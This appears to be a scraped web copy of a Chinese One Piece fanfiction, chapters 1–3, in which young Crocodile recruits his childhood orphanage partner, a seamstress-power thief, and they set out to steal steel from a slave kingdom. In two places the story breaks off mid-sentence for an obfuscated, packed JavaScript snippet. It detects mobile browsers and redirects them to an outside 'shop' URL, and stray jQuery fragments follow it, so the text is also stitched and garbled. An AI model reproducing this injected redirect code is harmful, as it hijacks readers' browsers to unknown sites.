《年下七武海想和我HE》
1. 第 1 章
细细的黄沙划过脸颊,克洛克达尔站在名为「饱餐一顿」的海上餐厅门口,视线穿过熙攘的人群,状作无意地扫过按铃叫人的厨师、捏着菜单流口水的海贼,最终停留在一个端着盘子的身影上。
他不喜欢这种人流混杂的大众餐厅,自然也不是为了饱腹才来到这里。
他是来找人的。找一个很久未见,却又认识了很多年的人。
在餐桌旁边坐下,很快便有一名纹着花臂的魁梧男性侍者上前来,为他递上菜单。
克洛克达尔抬起手,指向不远处那名拥有一头耀眼红发的女侍,说:“我是来找她的。”
那一头热烈张扬的红发,在人群中显得如此夺目,可是只有克洛克达尔才知道,她曾经被人揪着头发大骂「红发鬼」,也曾因太过痛恨自己的头发而剪成短短的杂草头,甚至终日包着头巾。
但是现在的她……
克洛克达尔望着那个人的身影。
她已经能够随心所欲地将柔顺的头发披在脑后,让发丝自由地呼吸空气、沐浴阳光。
三年没见,她的笑容不再只对着他展露。清脆的笑声响在餐厅里,大多数的人都会被她所吸引,那些人的视线让克洛克达尔非常不爽。
无论如何,他要带她走,他已经等了三年。
和花臂侍者交谈之后,黛可妮斯回过头,遥遥望来,青碧色的眼眸对上了克洛克达尔的视线。唇角微微勾起,将手中的餐盘送到顾客桌上后,便径直向他步来。
克洛克达尔忍不住坐直了身子。
黛可妮斯瞅着眼前的家伙,挑起眉毛。
几年没见,这家伙的身条倒是抽长了不少,站起来应该比她要高得多了吧,想当年还只是个跟在她身后的小屁孩呢。
她笑道:“克洛克达尔,你被那些修士卖给谁了?”
从一进门,他的视线便牢牢锁定在了黛可妮斯的身上,看上去并不像旧时的玩伴来寻人,倒像是多年的债主来讨债。
不过此时的克洛克达尔已经收起了直勾勾的目光,只是半垂着眼帘,答非所问道:“你应该先为我点单。”
一如既往的恶劣个性,黛可妮斯大翻白眼。
“番茄肉酱意面,配红酒……”
黛可妮斯掀开眼皮子瞅他一眼:“你个小屁孩,还学大人喝酒?”
“我已经十八岁了,”语气依旧平淡,但克洛克达尔的黑色眸子暗下来,“你连我的年龄都记不住……”
“无所谓,喝醉了一头栽死在海里,也别想让我捞你。”
黛可妮斯向厨房报过菜单,拎着手里新取的红酒瓶,笑得不怀好意:“先说好,本店可不允许霸王餐哦。”
克洛克达尔默不作声地从怀里掏出一袋金币,放在桌子上。
沉甸甸的分量让黛可妮斯意外地吹起口哨,她在青年的肩膀上抽了一把:“行啊你,有出息了,挣了钱还知道来照顾我们业务?”
身子向后一靠,克洛克达尔的脸上出现了一种颇为自得的神情,他微微眯起眼睛:“请快些上菜。”
“命令谁呢,臭小子。”黛可妮斯笑骂道,“注意点你的口气啊喂,还给我装起来了?可真是高攀不起了啊。”
饭菜很快上齐,克洛克达尔慢条斯理地将餐巾别在领口前,用叉子卷起意面,放入口中。手里的红酒杯轻轻摇晃,他轻嗅片刻,皱起眉毛,最终还是将酒杯放回到桌上。
很明显,他嫌这酒不好喝。
在黛可妮斯看来,这就是很装,非常装。
早在两人还同处孤儿院的时候,黛可妮斯就怀疑他是从哪个贵族家里离家出走的叛逆小孩,这么多年相处下来,他的少爷脾气还是会时不时冒出来。
“不喝也是要付钱的哦。”
端着饭菜游走在餐桌之间的黛可妮斯,忙着上菜,只轻飘飘地丢下一句话。
克洛克达尔懒得搭理她,一心一意解决盘中的食物。
眼看着黛可妮斯转回吧台前,花臂侍者偷偷凑到她身边,挤眉弄眼地小声问道:“小黛可,那青年什么情况?你的相好吗?啊,虽然看上去眼神有些凶狠,不过也算得上是仪表堂堂了……”
仪表堂堂?形容克洛克达尔?黛可妮斯哭笑不得,那家伙装模作样的时候倒是人模狗样,可实际上就是个混小子罢了。
“不是什么相好的,勉强算是……我的弟弟吧。”
花臂大叔扭过头去,看向那个坐在餐厅另一角的克洛克达尔,心说那小子看着你的视线可不谈不上什么弟弟啊……
餐厅里的客人有些多,黛可妮斯很快便忙得顾不上自己的熟人了,端着盘子来回跑。
克洛克达尔将刀叉摆在吃光的餐盘一旁,抬起头以目光追随她的身影。
而黛可妮斯竟然完全没有注意到他这边的情况。
完全没有。这让某人很不爽。
但是早些年的相处经验让他心里清楚,等待是等不来机会的,他必须要主动出击。
直到餐厅里的客人少了一些,看着黛可妮斯有闲暇功夫了,克洛克达尔才借着结账的机会,靠在黛可妮斯旁边的吧台上。
“那些家伙想将我卖给海军,真是不知好歹,是不是?”他嗤笑了一声,“我把他们都杀了。”
黛可妮斯闻言抬起头,对这个结果倒是不感到意外。
收养彼此的「慈心福利院」,表面上打着照拂社会遗孤弃婴的旗号,实际上却会将临近成年的孩子变卖为奴,强壮的孩子还会被卖给海军充作士兵。
身着白衣的修士们个个慈眉善目,背地里却是利欲熏心,就连提供给孩子们的饭菜,也仅仅只是又硬又小的黑面包和米汤。
黛可妮斯比较幸运,没有被打上奴隶的烙印,只是被路过采购的餐厅主厨看中,买下她来作服务员。
若是成为奴隶,只怕一辈子都要活在这种该死的阴影下,黛可妮斯才不想让自己的人生变成那样呢。
“那帮修士都被你杀了?”黛可妮斯数着收到的小费,“正好,我最烦的就是他们那副虚伪的嘴脸。”
她半垂着头,灵巧的指尖正把钞票数个不停。克洛克达尔的视线落在那翻动的钱币上,沉默良久,他突然道:“你打算一辈子都在这里当个服务员吗?”
“这有什么不好?”
黛可妮斯古怪地打量他一眼。
“包吃包住,收入也足够,虽然我的确很想过上不用打工的生活,但也就是做做梦罢了。”
注意到克洛克达尔落在她手中小费上的鄙夷视线,黛可妮斯想起了他刚刚拿出的一袋金币:“话说你似乎变得很有钱啊,怎么做到的?未来打算去干什么呢?”
克洛克达尔微微调整了一下靠在吧台上的姿势,眉目之间隐约流露出几分笑意,似乎就等着她问这个问题:“我以后自然是要成为一个海——”
话音未落,餐厅另一头突然爆发出一阵粗鲁又狂放的嬉笑声。是一群举办宴会的海贼,喝醉了酒,大吵大闹地又叫又笑,甚至还有好几人已经站在了桌子上,开始脱掉衣服跳舞。
黛可妮斯猛地一拍桌子:“又是海贼!真是烦死了!喂汤姆大叔,给海军基地打电话,把这群家伙统统抓了!”
花臂大叔哈哈一笑:“不可以哦小黛可,毕竟那些海贼是我们的客人呢。”
“那就在他们的酒里下毒吧,”黛可妮斯毫不犹豫道,“毒死他们,扒光他们的衣服,然后丢进海里喂鱼!”
“都说了他们是客人啦,小黛可你差不多也该收起对海贼的偏见啦,也不是所有海贼都会这样吵吵闹闹地开宴会……”花臂大叔笑道,“嘛,只不过大多数海贼都是这样而已啦。”
黛可妮斯恨恨地翻找着订单:“哼……小费给的那么少,酒水倒是喝了不少,啊,有人吐在地上了,好恶心……”
她注意到身边的克洛克达尔突然中止了话头,陷入了沉默。
“刚才被打断了,我没听清,”她问,“你说什么来着?”
克洛克达尔略显复杂的眼神,从那群海贼移回到黛可妮斯脸上,他顿了顿:“为什么对海贼那么厌恶?”
“为什么?”
黛可妮斯不免好笑,指着不远处的混乱景象:“这还用我多解释吗?待会打扫卫生的也是我。”
“海贼这种家伙实在是太讨厌了,对不对?你以后在大海上混,可千万要和那种臭东西保持距离。”
他又沉默下来。
片刻后他才开口,字斟句酌道:“说起来,我打算……组建一个工作社,像个公司那样的。通过服务和贸易之类的……嗯……借此赚钱。”
“真让我意外,听上去还挺正经的嘛。”
黛可妮斯已经将墩布和水桶提到了手里,克洛克达尔注意到她把一枚匕首藏在袖口。
根据自己对她的了解,那刀刃上应该已经涂抹了麻醉类的药水,趁着打扫的功夫,在某个浑浑噩噩的醉鬼后背上捅一刀,大概也不会被任何人发现。
她还是这么擅长给自己寻开心,克洛克达尔微微一笑。
他拦住她:“我现在需要人手,加入我的工作社吧。”
“啊,才不要。”
被直截了当的拒绝了。克洛克达尔沉默。
“好几年没见,突然蹿出来说这种话是要怎样?”黛可妮斯莫名其妙地瞅他一眼,“张口就是要让我给你打工……没大没小的臭小子。”
克洛克达尔皱起眉毛,上前一步低声道:“我不认为你该留在这种上不得台面的地方,别忘了你的能力……”
好奇怪,几年不见的发小,居然一见面就开始诋毁她宝贵的工作。虽然她也不想打工,也会在背地里骂餐厅老板又拖欠工资,但是……
毕竟她借此避免了沦为奴隶的命运,那个秃瓢的餐厅老板虽然吝啬,却是自己实打实的救命恩人。
黛可妮斯有些不快。
“你想被我缝住嘴巴吗?”银色的丝线在她手中一闪而过,黛可妮斯眯起眼睛:“要么闭嘴,要么就帮我一起擦地板。”
没成想,下一瞬克洛克达尔就抓住了她的手。
他的手掌原本有这么大吗?
黛可妮斯能感受到那掌心下薄薄的茧子,她突然发现自己要抬起头才能对上这家伙的眼睛,他长高了很多。
似乎也变了很多。
很久之前,这只手还幼小而稚嫩,只会倔头倔脑地抓住她的衣角,一言不发地跟在她身后。
因为某些原因,两个小孩子在孤儿院都没什么朋友,却因一次意外与彼此成为伙伴。
从此结伴去厨房偷吃的。
黛可妮斯叹了口气。
看来这家伙没有小时候那么好欺负了啊。
之前偷到过一块烤肉,她直接一手摁着他的脑袋,一手狠命往嘴里塞肉。男孩比她矮很多,力气也没她大,只能磨着后槽牙,眼睁睁看她吃完肉又回味无穷地舔手指。
要是放到现在,估计吃不到肉只能磨牙的人,就是她了。
黛可妮斯察觉到两人之间的力量差距,不由得一阵心虚。
要是这家伙还记恨着烤肉的仇,可怎么办?
“……克洛克达尔,你到底想怎样?”
握住她手臂的那只手,收紧了。
克洛克达尔说:“别让我重复太多次。”
他夺过黛可妮斯手里的墩布和水桶,扔在地上,发出来咣当的声响。
“我不会替你擦地板,也不会让你擦地板。你说过你喜欢钱,想要过上自由自在随心所欲的生活,我会让你实现梦想。”
“只要你加入我。我的工作需要你的帮助,你只需要像过去那样,作为我的同伴就可以了。”
很意外的答复。
黛可妮斯尴尬地回头去看花臂大叔,听到这一番话的花臂大叔咳嗽了一声,默默道:“别的暂且不论,这样光明正大地挖墙脚,真的没关系吗?”
克洛克达尔说:“我很有钱,足够雇佣她。”
花臂大叔把黛可妮斯拉到一边:“喂喂,你这位朋友的发言……有些不妙耶。这种自以为金钱能买到一切的态度,好讨厌啊,不过……”
他挤挤眼:“……如果那小子想花高价雇佣我,就另当别论啦~小黛可你怎么想?不会真要在这里端一辈子餐盘吧?”
“拜托,他嘴上再怎么说的好听,这一看就是在创业期,能不能成功搞到钱还两说呢!”
而且这家伙还超级小心眼,要是想借此捉弄她可怎么办?
黛可妮斯双手叉腰,“这都是风险好吗?要是他那个什么工作社挣不到钱,连西北风都喝不到,我还能回来端盘子吗?”
“当然可以啊。”花臂大叔理所当然道,“虽然我们的秃驴老板很抠门,但上次他因为工资发晚了被你臭骂一顿,当晚还躲在浴室里哭鼻子呢!”
黛可妮斯无语:“只是说了他两句,居然还哭鼻子,好没用的东西……”
“是啊,其实那秃驴比你想象中还要更加心软善良好欺负哦,”他挤眉弄眼,“所以呢,不要大意地跟这个小伙子去吧!看他那个眼神,他一定喜……我是说,那种决绝有野心的眼神,以后一定会大有作为的。”
“不要这么草率地替我决定啊。”
黛可妮斯毫不留情地再次回绝了:“我暂时还不想跟你走。说到底,这么多年没见,一出场就要把人拉上贼船的样子,怎么看怎么可疑啦!”
克洛克达尔双臂抱胸,沉默地瞅着她。之前两人的意见产生冲突时,他就会像这样子盯着她,似乎在用眼神打拉锯战。
那边的海贼们已经摇摇晃晃地站起身,吵吵闹闹地离开餐厅,回到了自己船上。
黛可妮斯一回头发现自己已经错过了最佳下黑手的时机,不免大失所望,拎起墩布和水桶,骂骂咧咧地去打扫卫生。
克洛克达尔
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14012784|148614||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
瞅着她的身影,终于是冷哼一声,扭头走了。
第二天,某个黑色头发没有眉毛的青年,又出现在了餐厅的一角。
“为什么又来了?”
黛可妮斯斜眼打量他的衣服,克洛克达尔的品味一直让黛可妮斯难以恭维,衬衫,西裤,以及闪亮的皮带,这些装扮对于一个刚刚成年的男孩来说,多少是有些成熟了。
然后她注意到克洛克达尔手指间夹着的东西,不由得一阵无语。
是个和他更不搭边的东西。
漂亮的红头发在空中一摆,下一刻克洛克达尔的手就被抓住,他微微一愣,只见指尖夹着的雪茄已经被夺走。
紧接着被扔出窗外,掉进海里。
黛可妮斯回过头来斜眼瞅着他:“这东西对你而言还太早了,知道吗?只有魅力十足的中年男性才有嘴上叼着雪茄的权利!而你——不过是个毛都没长齐的小屁孩。”
克洛克达尔额角青筋一跳。
他深吸一口气,仍是皱着眉,清清嗓子:“你管得太多了。”
黛可妮斯冷笑:“好吧,那这样如何呢——本餐厅禁烟,恕不接待。”
在一旁偷偷看好戏的花臂大叔:?什么时候禁烟了……
紧接着他就看见那青年撇开黛可妮斯,走到他面前:“贵餐厅的服务态度实在是太差,我要投诉,老板呢?”
花臂大叔:……
黛可妮斯还在冷笑:“你是在撒娇还是在胡闹?不吃饭就给我滚出去,或者说想让我亲自送你一程?”
餐厅的秃驴老板听到动静,慌慌张张跑出来,被克洛克达尔一把薅住脖领子。
怀里还被塞了个鼓鼓囊囊的钱袋子。
对方指着他的红头发小服务生说:“我要买下她。”
这一套丝滑连招令人一时间反应不过来,但金钱的重量却足以让秃驴心花怒放,想都没想即答:“您请便!”
“哈——?!”
黛可妮斯冲上来,推开克洛克达尔:“你清醒一点啊死秃驴!小心我把你缝在墙上一整天,连拉屎撒尿都不让去!”
“死、死秃驴……小黛可你又骂我……”老板颇受打击,失了魂一般洒下几颗小泪珠,但怀中的金币却及时给予了他力量,他破釜沉舟道:“早就受够你的威胁啦小混账!快滚吧,不然我就要让你赔偿这么多年里打碎的盘子!”
黛可妮斯大怒:“你说什么——”
克洛克达尔恰到好处地接上一句:“我可以替她支付赔款。”
一道银光闪过,秃驴老板哀嚎一声,已经被银色的细丝牢牢缝在了墙上。
克洛克达尔偏头一闪,娴熟地躲过向他袭来的银色细丝,手掌向左前方一抓,将黛可妮斯的肩膀按住。
对上她充满怒意的碧绿色眼眸,克洛克达尔暗叹一声,压低声音放软声调:“我是认真的,请你帮帮我。”
黛可妮斯微微一顿。
记忆里,那个比她小三岁的男孩,很少用这样的口吻恳求自己。
她怀疑这是装的。
克洛克达尔一直很擅长伪装和扮演,早在十岁的时候,他就会装出受伤的模样吸引面包店老板的注意,好方便黛可妮斯溜进去偷面包。
她仔仔细细地盯着他的眼睛,试图从中寻得一些破绽,但不知是他太过真心实意,抑或是这么多年过去演技又得到了长进,黛可妮斯愣是没找到任何伪装的痕迹。
儿时的友谊和默契让她下意识开口:“……你遇到了什么困难吗?”
“是的。”
几缕黑色的发丝从他耳边滑落,投下细细的阴影。
他平静地望着她:“我有一个想要打败的人,如果没有你,我大概会死。”
“一定要和那种人战斗吗?”黛可妮斯疑惑,“如果实力差距太大,为什么还要不自量力地去挑战?我不记得自己是这样教给你的。”
“的确如此。但如果不击败他,我就得不到自己想要的东西。”
他的眼神那样坚定,黛可妮斯在其中见到了蓬勃的野心,以及势在必得。
她不由得愣住了。
慈心福利院名不副实,只是个毫无温暖与人情的地方。被收留的孤儿们为了食物和更好的居住环境常常大打出手,而福利院的修士们则对那些发生在孩童间的暴力和欺凌行为视而不见。
相比食物和金钱,同伴和友人才是这群孩子们最难以得到的东西。
黛可妮斯本来也是如此,但在她出于测试自己恶魔果实能力的目的,救了一个濒死的男孩后,一切就改变了。
她多了一名个头矮小,寡言但自傲的同伴。
在那段时间里,两人的生存模式也相当契合,基本上达到了「上午黛可妮斯暗中打断某人的腿,下午克洛克达尔就会拧断其胳膊,顺便再捅一刀」的程度。
简言之就是一对无恶不作、臭味相投的恶霸姐弟。
虽说两个孩子也经常发生口角、扭打在一起,但要论起最了解彼此的人,也只有彼此。
克洛克达尔清楚,仅凭旧日的交情无法说动她的时候,就该换一种方式了。
他说:“这的确足够危险,但收益也绝对能够让你瞠目结舌,那将会是你穷尽一生也难以想象到的财富、荣耀、地位——而这一切,我将会与你平分。”
“我知道现在的你恐怕还不能相信我,但是为什么不暂且随我试试看呢?仅仅是现在,我就能够带你见识到我的财富——只要你随我来,就会知道——”
他嘴角勾起一个弧度:“——就会知道,你的伙伴还像过去那样,可靠而值得信赖。”
克洛克达尔虽然擅长演戏,但从不会在这方面对黛可妮斯说谎。只要他用这样的口吻说话,那必定就是有了十足的把握,采取的行动几乎没有不成功的。
他说有钱可挣,那就一定会是笔大生意。
黛可妮斯不是那种视财如命的守财奴,但是她非常享受掠夺的感觉。无论是偷是抢,哪怕下一秒就把战利品扔进海里,但只要看见那些自以为是、脑满肠肥的家伙们震怒的面孔,就足以给予她高度的愉快。
虽说之前是因无处可去才来到了餐厅,度过了一阵安生日子,但现在听克洛克达尔这么一说……
她的确心动了。
大不了就再回来端盘子呗。试一试又没有什么损失。
于是她说:“好吧。”
得到了预期中的答复,克洛克达尔嘴角微不可察地扬起,却仍是平静地双臂抱胸,站在餐厅门口。
“既然如此,去收拾你的行李,我们马上动身。”
一旁偷听的花臂大叔终于有机会跳出来,推着还在数金币的秃驴老板离开,高声道:“离职的践行会和礼物看样子是没时间准备了,小黛可你不要太想我们哦,以后有机会了随时回来玩~”
秃驴老板默默嘀咕:“谁想要那小魔头还回来啊……”
2. 第 2 章
黛可妮斯在海上餐厅工作的这几年里,见过了数也数不清的船只。
海军的军舰千篇一律,大部分透露着严肃和重工的气息,只有极少数几位个性张扬的海军将领会对自己下辖的船舰进行一些改造。
例如那位被誉为“海军英雄”的卡普中将,其船头被装饰成一只叼着棒骨的沙巴狗,让人看了便忍俊不禁。
不过相比来讲,还是海贼船显得要更加有趣。
虽然黛可妮斯很讨厌那些家伙,但这并不妨碍她在闲暇之余,观察那些停泊在餐厅之外的船只:
千奇百怪的船头装饰,迎风招展的骷髅旗帜(大部分是手绘在黑布上,并且非常丑陋),高低错落的桅杆一字排开,让人能够一眼看出哪些船精于火力进攻,哪些船只坚不可摧,哪些一门心思要以恐惧与血腥震慑他人……
当然,也有不少蠢货,会将自己的宝贵船只打造成低俗与下流的集合物。
普通的货船和客轮也时常在他们的餐厅不远处路过,除了天龙人和王国的皇族贵族们,黛可妮斯几乎能从这些往来的船只中窥见社会各个阶层的人士。
毕竟在这个由海浪和船只构建起来的世界上,小小的一片甲板便足以上演整个社会的发展史。
这个世界离不开船。
早在黛可妮斯还身处孤儿院的时候,她便知道自己不会甘心永远留在一个小岛上。小小的女孩早就开始畅想,未来的自己将会拥有一条怎样的船,会以怎样的姿态闯进这片大海。
什么木材来构成船身?要几根桅杆?船帆上要画什么样的图案?
兴致勃勃地用树枝在沙地上画出了自己的船只设计图,当时站在她身边的克洛克达尔,对此杰作的评价是:“过于花哨但是实用性毫无,一下水大概就会光速沉没吧。”
“拜托,我又不是专业船匠,请不要用那些可恶的现实因素来评价我的幻想产物可以吗?”
黛可妮斯用树枝敲男孩的头,反被他躲过。
克洛克达尔说:“伟大航路上有一座船匠之岛,我宁可花大价钱让他们为我定制一艘强大而坚固的战舰,也绝对不会乘坐你设计的小帆船。”
“是吗,谁管你?”黛可妮斯冷笑,“说话这么不客气,我倒要看看以后你能驾驶什么了不起的船。”
儿时拌过的嘴,终于在许多年后的今天,让黛可妮斯找到了机会去嘲笑他。
停泊在面前的,只是一艘平平无奇的中型帆船,仅仅配备了基础的动力设施,而舵手大副水手等船员,看上去与克洛克达尔完全不熟悉。
从其甲板下宽阔的仓库来推测,不久前这大概只是一艘普通的货船。
黛可妮斯乐了。
斜眼瞅着克洛克达尔:“这是你租的船吧?”
后者没吭声。
“你不是很有钱吗,对船也挑剔得很,怎么事到如今反倒是……”
黛可妮斯小心翼翼绕开甲板上一块翘起的木板,“这就是你想让我见识的财富?我现在退出,回去端盘子还有机会吗?”
鉴于黛可妮斯对海贼的态度,克洛克达尔认为,最好还是不要太早让她见到自己那挂着黑色骷髅头的海贼船。
是以他昨天被拒离开后,就马不停蹄地找了家看起来正经一些的船行,租下了这艘货船。
结果还是被一眼识破了。
“事已至此,你绝无退出的可能。”他双手抱胸,命令船员准备起航:“黛可,做人要多一点耐心。”
眼前人已经笑弯腰了,他不得不吞下一口气,强忍着继续找补借口。
“这的确是临时调用的船只,要知道,我的货物本该在前一段时间转化为资金,只可惜有几个不知好歹的家伙……”
太过耳熟的套话,每当克洛克达尔想要对某人下手时,他总会将对方称呼为“不知好歹的家伙”。
“容我先问一句,”黛可妮斯哈哈大笑,“你所谓的货物,真的是「你的」吗?抑或是某个冤大头的?”
克洛克达尔:“我看上的,自然就是我的。”
一如既往的嚣张呢。黛可妮斯赞许地点头。
这就对了,管他是谁的,抢到手就是自己的。
货船在海面上越开越远,早已看不见了海上餐厅的影子。
估计大概还需要有一段时间,黛可妮斯便在船舱里找了个吊床,休息了一会儿。
因着海浪的颠簸,她的睡眠并不安稳,朦胧中隐约将自己当作了一头四肢纤长的梅花鹿,颤抖着在林间跳跃。身后似乎有什么东西对她穷追不舍,鼓起勇气回头去看,却未发现任何异常。
就在她心下松了一口气,扭回脑袋的时候,余光却瞥见了一只黑洞洞的枪口,从灌木丛中伸出来,早已瞄准了她的心脏。
她惶然中猛地睁开眼睛,身前却是一片高大的黑影,寒意冲头而上,她的手立刻向别在腿侧的匕首摸去——
“你还好吗?”黑影说话了,她这才意识到那是克洛克达尔。
那视线就像梦里黑洞洞的枪口,虽然只是短短的一瞬,却让她毛骨悚然。
他是何时来的?黛可妮斯缓缓吐出一口气来,后背遍布冷汗,她搓着胳膊问:“怎么了?”
克洛克达尔的视线落在她腰间的匕首上,眼帘半垂,恢复了往日的神情。
“我们的目的地要到了。”
他的表情那样平和,黛可妮斯只当是自己看错了。
很快,两人来到甲板上。
通过望远镜,遥望远处目标小岛上烟囱林立的加工工厂,黛可妮斯叹一口气,心下已经明白了为何克洛克达尔会直接将她带到这里。
“那是什么工厂?”
克洛克达尔答道:“钢材锻造,我们将取走其中刚刚生产出来的一批精钢。”
黛可妮斯瞪着他:“我还以为会跟着你吃香喝辣享清福,没想到竟然是被当作苦力来使唤啊。”
那家伙面对指控,倒是表现地无比坦然,甚至说:“你的能力那么便利,搬个几十几百吨的钢材应该只是小菜一碟吧。”
认识黛可妮斯的人们,几乎都知道她是吃下「缝缝果实」的缝纫人,能够用银色的丝线将生物或物体缝合在一起,无法挣脱。
不过,只有克洛克达尔这个从小便和她狼狈为奸的家伙才知道,黛可妮斯简直就是个天生的「小偷」。除了能够缝合,她还能将右手触碰到的物品变成大小随心改变的布片花样,缝在自己的皮肤或衣物上,使之隐若无形。
只要她愿意,哪怕面前是一艘海军的大型军舰,也能将之变成一枚巴掌大小的布片,缝在衣摆处,任谁看了也察觉不出异样。
只是物体太过巨大沉重的话,耗费的体力也会增加。
所以在儿时,两人结伙去偷面包的时候,永远都是克洛克达尔来吸引注意力,黛可妮斯潜入实施盗窃。
本次的钢材盗窃计划也是一样,不过用克洛克达尔的话来说,他只是去取走“本就属于自己的东西”。
黛可妮斯打个呵欠:“好歹也是拥有
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14012785|148614||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这么多年交情的老伙伴了,你还真是不跟我客气啊,不知道搬运那么多东西有多累人吗?”
“要不是你,我还能利用谁呢?”
他露出一个既得意又灿烂的笑脸:“老规矩,别忘了我们的「逃跑原则」。”
黛可妮斯翻个白眼:“当然,「无论是谁被抓住,都不必回头,只消自己逃命就好。」”
这是两人早就达成共识的约定。
纵使他们会相互帮助共同合作,但克洛克达尔可不是什么无私的家伙,黛可妮斯自然也不会为了他一味付出。
想要在孤儿院中找到一位合拍的伙伴本就不容易,在信任不能够随意交付的前提下,约定好「大难临头各自飞」的合作反倒能让双方更加安心。
别谈什么道德不道德,这种东西不是两个缺衣短食的小孩子该考虑的问题,对他们而言,能活下来就是最大的真理。
至少对于黛可妮斯来说是这样。
货船抛下船锚,停泊在大海中央。黛可妮斯正好奇为何不再继续靠近,身后克洛克达尔已经上前来,向她伸出一只手。
他说:“我们飞过去。”
飞?怎么飞?
黛可妮斯不明缘由,下意识将手搭在他的掌心之中,却没想到克洛克达尔手臂一收将她揽进怀里。黄色的沙子在他周身萦绕,伴随着一阵失重感,克洛克达尔下半身化为一片风沙,带着她悬浮而起,向岛屿飞去。
克洛克达尔满意地关注着怀中女子的惊讶神情,见她将手勾在自己的脖子上,嘴角便悄悄地扬起一点弧度。
只可惜他得逞的笑意还没来得及维持一秒钟,那双勾在他脖子上的略有些暧昧的手臂骤然一收,宛如一口虎头钳卡住了他的咽喉。
耳边是女子意外的声音:“沙子?这是你的恶魔果实能力吗?”
克洛克达尔:“……”有点喘不过气。
他一手抄在黛可妮斯的膝盖窝里,另一手揽着她的后背,不着痕迹地将之往怀里摁了摁。
可黛可妮斯却丝毫没有注意到彼此有些亲密的距离,反而伸出手去抓他的耳朵。
抓了一手沙子。
“自然系吗?”她直接往克洛克达尔脑袋上揍了一拳,将他打爆成一抹黄沙。
“有意思的能力诶,你是什么时候吃下果实的?”
脑袋重新复原的克洛克达尔,脸色黑得可怕。
此情此景,和他设想中的不太一样。
他手下一松,全身化为一片黄沙消散在空中。失去依托的黛可妮斯顿时向下坠落,她尚未反应过来,双眼猛地睁大,一时间不知该因意外而尖叫,还是先把罪魁祸首臭骂一顿。
就在黛可妮斯脚尖即将碰到海面的瞬间,凝聚成人型的黄沙再度接住了她,稳稳地抱在怀里。
……这个该死的家伙。
她想都没想,便再次将克洛克达尔的脑袋揍成一片黄沙。
克洛克达尔语气凉凉的:“还想再来一次吗?”
黛可妮斯的脸色也恨不得撕了他一样:“如果你想现在就失去盟友的话。”
话是这么说,克洛克达尔却见到她指尖的银线正悄然将彼此缝合在一切,顿时心情舒畅了不少。
嘴上依旧道:“难道你还能缝在我身上一辈子?”
他倒是真希望会如此。
黛可妮斯狠狠剐他一眼:“我才不要和你这坏种过一辈子——废话少说!”
他又不爽了,冷哼一声不再说话,径直向岛屿飞去。
3. 第 3 章
两人的目标岛屿,由一个名为「埃尔」的小型奴隶王国所统治,是一座典型的重工业基地。
岛屿中央几座饱含矿脉的高山,为日夜不停熔炼钢铁的工厂提供了充足的原料。脚戴镣铐的奴隶们摩肩接踵,死气沉沉地在矿井下,抑或是熔炼车间里,被鞭子和枪支驱赶着进行最危险也是最劳累的工作。
给黛可妮斯的感觉,就像是一块冷硬且不近人情的破铜烂铁。
城镇的主体由烟囱林立的工厂构成,零星破碎的居民区挤在工厂与工厂之间,生存艰难。高大坚固的城墙上有武装齐全的士兵往来巡逻,将重点工厂和奢华的皇族宫殿保护于内。
虽说中心地带的警戒系数非常之高,但光临这个岛屿的不速之客却不少。
原因就在于它面积广阔的冶金废料堆积区。
在这个世界上,有一些王国会对城外或是郊区的垃圾场熟视无睹,并且选择性忽视那些由垃圾场衍生出来的贫民窟。
奴隶王国「埃尔」就是如此。
占据了本岛面积多达四分之一的冶金废料堆积区,已经发展出独有的生态系统。
黛可妮斯和克洛克达尔这两个不怀好意的外来者,潜入这片由废弃物构建的世界,甚至连伪装都不需要做一下。
这里太乱了。
一乱在地形和建筑群。大多数可以称得上是建筑物的、有屋顶有门的空间,几乎都建立在堆积了不知多少年的废渣之上。人们在垃圾堆上寻找生存空间,就像海底的章鱼,寻得一个小罐头大小的空间便会挤身而入。
黛可妮斯此时身在的小酒吧,就是建立在一个废弃的巨大车间机械上。来客们挤在肮脏生锈的齿轮上,拿出自带的小铁壶打酒喝。
“这里什么人都有,注意点。”克洛克达尔凑近她,在她头顶低声道:“右后方那几个戴鸭舌帽的,应该是海军的探子。刚才从门口经过的,看外貌像是南海的家伙,不远万里跑到这里是想做什么……”
二就乱在这里的人。来自于五湖四海的地下交易商、线人、密探、混混,逐利而来者,伺机而动者,像是蚁群一般在垃圾场中爬行着,伸出他们的触须,交换着想要的东西。
他们也同样带来了最乱的交易流。
各种上不得台面的、肮脏腥臭的、骇人听闻的东西,这里都有。任何你想要得知的机密情报或是花边绯闻,用钱就能买到。
尽管现在的实时影像虫技术已经十分发达,世界各地的卖家不消出海,便可以通过直播来选购自己心仪的商品。
但是很显然,这种便利还没抵达这藏身于垃圾场之下的杂乱交易所。
克洛克达尔说:“哪怕是世界政府,也在争先恐后地将自己的探子送到这里……所以在此地的言行一定要小心,也许就连你多吃了一个面包的消息也会被人收集起来卖出去。”
黛可妮斯正在咀嚼面包的腮帮子顿住了。
“有毛病吗?谁会掏钱买一个陌生人吃面包的无聊消息?”
“只是打个比方,但更重要的是我想提醒你——”
一道黑影在黛可妮斯面前闪过,她手里还没吃完的火腿便被抢走。
克洛克达尔指尖捏着火腿,在她眼前画了个圈:“你太不设防了,这个归我了。”
黛可妮斯:“……”没吃完的剩饭也抢?
又不是人在孤儿院,天天吃不上饭。
冲他翻个白眼就继续往前走。
